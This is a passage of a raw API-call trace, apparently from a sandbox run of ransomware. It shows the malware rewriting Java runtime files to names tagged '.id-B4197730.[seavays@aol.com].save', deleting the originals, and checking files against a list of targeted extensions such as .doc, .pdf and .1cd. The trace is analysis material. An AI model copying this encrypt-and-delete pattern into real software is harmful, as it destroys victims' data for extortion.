nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4a40, lpOverlapped=0x0) returned 1 [0076.778] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4a50, lpOverlapped=0x0) returned 1 [0076.779] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.779] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0076.780] SetEndOfFile (hFile=0x34c) returned 1 [0076.780] CloseHandle (hObject=0x34c) returned 1 [0076.780] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.780] SetEndOfFile (hFile=0x2ec) returned 1 [0076.781] CloseHandle (hObject=0x2ec) returned 1 [0076.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.781] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1 [0076.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0076.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0076.782] lstrlenW (lpString=".doc") returned 4 [0076.782] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.782] lstrlenW (lpString=".docx") returned 5 [0076.782] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0076.782] lstrlenW (lpString=".pdf") returned 4 [0076.782] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.782] lstrlenW (lpString=".xls") returned 4 [0076.782] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.782] lstrlenW (lpString=".xlsx") returned 5 [0076.782] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0076.782] lstrlenW (lpString=".ppt") returned 4 [0076.782] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0076.782] lstrlenW (lpString=".zip") returned 4 [0076.782] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.782] lstrlenW (lpString=".rar") returned 4 [0076.782] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.782] lstrlenW (lpString=".bz2") returned 4 [0076.782] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.782] lstrlenW (lpString=".7z") returned 3 [0076.782] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0076.782] lstrlenW (lpString=".dbf") returned 4 [0076.782] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0076.782] lstrlenW (lpString=".1cd") returned 4 [0076.782] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0076.782] lstrlenW (lpString=".jpg") returned 4 [0076.782] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.783] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.783] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0076.784] GetLastError () returned 0x0 [0076.784] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xf840, lpOverlapped=0x0) returned 1 [0076.936] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf850, lpOverlapped=0x0) returned 1 [0076.938] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.938] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.938] SetEndOfFile (hFile=0x34c) returned 1 [0076.938] CloseHandle (hObject=0x34c) returned 1 [0076.938] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.939] SetEndOfFile (hFile=0x2ec) returned 1 [0076.940] CloseHandle (hObject=0x2ec) returned 1 [0076.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.940] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1 [0076.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0076.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0076.941] lstrlenW (lpString=".doc") returned 4 [0076.941] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.941] lstrlenW (lpString=".docx") returned 5 [0076.941] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0076.941] lstrlenW (lpString=".pdf") returned 4 [0076.941] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.941] lstrlenW (lpString=".xls") returned 4 [0076.941] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.941] lstrlenW (lpString=".xlsx") returned 5 [0076.941] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0076.941] lstrlenW (lpString=".ppt") returned 4 [0076.941] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0076.941] lstrlenW (lpString=".zip") returned 4 [0076.941] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.941] lstrlenW (lpString=".rar") returned 4 [0076.941] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.941] lstrlenW (lpString=".bz2") returned 4 [0076.941] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.941] lstrlenW (lpString=".7z") returned 3 [0076.941] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0076.941] lstrlenW (lpString=".dbf") returned 4 [0076.941] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0076.941] lstrlenW (lpString=".1cd") returned 4 [0076.941] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0076.941] lstrlenW (lpString=".jpg") returned 4 [0076.941] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.942] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.942] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.942] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0076.943] GetLastError () returned 0x0 [0076.943] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x1f440, lpOverlapped=0x0) returned 1 [0076.946] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1f450, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x1f450, lpOverlapped=0x0) returned 1 [0076.949] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.949] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0076.949] SetEndOfFile (hFile=0x34c) returned 1 [0076.949] CloseHandle (hObject=0x34c) returned 1 [0076.949] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.949] SetEndOfFile (hFile=0x2ec) returned 1 [0076.951] CloseHandle (hObject=0x2ec) returned 1 [0076.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.951] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 1 [0076.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0076.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0076.951] lstrlenW (lpString=".doc") returned 4 [0076.951] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.952] lstrlenW (lpString=".docx") returned 5 [0076.952] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0076.952] lstrlenW (lpString=".pdf") returned 4 [0076.952] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.952] lstrlenW (lpString=".xls") returned 4 [0076.952] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.952] lstrlenW (lpString=".xlsx") returned 5 [0076.952] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0076.952] lstrlenW (lpString=".ppt") returned 4 [0076.952] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0076.952] lstrlenW (lpString=".zip") returned 4 [0076.952] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.952] lstrlenW (lpString=".rar") returned 4 [0076.952] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.952] lstrlenW (lpString=".bz2") returned 4 [0076.952] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.952] lstrlenW (lpString=".7z") returned 3 [0076.952] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0076.952] lstrlenW (lpString=".dbf") returned 4 [0076.952] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0076.952] lstrlenW (lpString=".1cd") returned 4 [0076.952] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0076.952] lstrlenW (lpString=".jpg") returned 4 [0076.952] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.953] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.953] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.953] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0076.953] GetLastError () returned 0x0 [0076.953] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x32840, lpOverlapped=0x0) returned 1 [0076.958] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x32850, lpOverlapped=0x0) returned 1 [0076.962] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.962] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0076.962] SetEndOfFile (hFile=0x34c) returned 1 [0076.962] CloseHandle (hObject=0x34c) returned 1 [0076.963] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.963] SetEndOfFile (hFile=0x2ec) returned 1 [0076.965] CloseHandle (hObject=0x2ec) returned 1 [0076.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.965] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1 [0076.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0076.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0076.965] lstrlenW (lpString=".doc") returned 4 [0076.965] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.966] lstrlenW (lpString=".docx") returned 5 [0076.966] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1 [0076.966] lstrlenW (lpString=".pdf") returned 4 [0076.966] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.966] lstrlenW (lpString=".xls") returned 4 [0076.966] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.966] lstrlenW (lpString=".xlsx") returned 5 [0076.966] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1 [0076.966] lstrlenW (lpString=".ppt") returned 4 [0076.966] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0076.966] lstrlenW (lpString=".zip") returned 4 [0076.966] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.966] lstrlenW (lpString=".rar") returned 4 [0076.966] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.966] lstrlenW (lpString=".bz2") returned 4 [0076.966] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.966] lstrlenW (lpString=".7z") returned 3 [0076.966] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0076.966] lstrlenW (lpString=".dbf") returned 4 [0076.966] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0076.967] lstrlenW (lpString=".1cd") returned 4 [0076.967] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0076.967] lstrlenW (lpString=".jpg") returned 4 [0076.967] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.968] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.968] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.968] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0076.968] GetLastError () returned 0x0 [0076.968] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4e040, lpOverlapped=0x0) returned 1 [0077.444] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4e050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4e050, lpOverlapped=0x0) returned 1 [0077.452] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.452] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0077.452] SetEndOfFile (hFile=0x34c) returned 1 [0077.781] CloseHandle (hObject=0x34c) returned 1 [0077.786] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.787] SetEndOfFile (hFile=0x2ec) returned 1 [0077.791] CloseHandle (hObject=0x2ec) returned 1 [0077.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0077.791] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1 [0077.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0077.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0077.792] lstrlenW (lpString=".doc") returned 4 [0077.792] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0077.792] lstrlenW (lpString=".docx") returned 5 [0077.792] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0077.792] lstrlenW (lpString=".pdf") returned 4 [0077.792] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0077.792] lstrlenW (lpString=".xls") returned 4 [0077.792] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0077.792] lstrlenW (lpString=".xlsx") returned 5 [0077.792] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0077.792] lstrlenW (lpString=".ppt") returned 4 [0077.792] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0077.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0077.792] lstrlenW (lpString=".zip") returned 4 [0077.792] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0077.793] lstrlenW (lpString=".rar") returned 4 [0077.793] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0077.793] lstrlenW (lpString=".bz2") returned 4 [0077.793] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0077.793] lstrlenW (lpString=".7z") returned 3 [0077.793] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0077.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0077.793] lstrlenW (lpString=".dbf") returned 4 [0077.793] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0077.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0077.793] lstrlenW (lpString=".1cd") returned 4 [0077.793] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0077.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0077.793] lstrlenW (lpString=".jpg") returned 4 [0077.793] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0077.797] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.798] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.798] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0077.801] GetLastError () returned 0x0 [0077.801] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x22240, lpOverlapped=0x0) returned 1 [0077.829] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x22250, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x22250, lpOverlapped=0x0) returned 1 [0077.832] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.832] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.832] SetEndOfFile (hFile=0x34c) returned 1 [0077.833] CloseHandle (hObject=0x34c) returned 1 [0077.833] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.833] SetEndOfFile (hFile=0x398) returned 1 [0077.835] CloseHandle (hObject=0x398) returned 1 [0077.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0077.835] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 1 [0077.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0077.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0077.836] lstrlenW (lpString=".doc") returned 4 [0077.836] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.836] lstrlenW (lpString=".docx") returned 5 [0077.836] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0077.836] lstrlenW (lpString=".pdf") returned 4 [0077.836] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.836] lstrlenW (lpString=".xls") returned 4 [0077.836] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.836] lstrlenW (lpString=".xlsx") returned 5 [0077.836] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0077.836] lstrlenW (lpString=".ppt") returned 4 [0077.837] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0077.837] lstrlenW (lpString=".zip") returned 4 [0077.837] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.837] lstrlenW (lpString=".rar") returned 4 [0077.837] lstrcmpiW (lpString1=".rar", 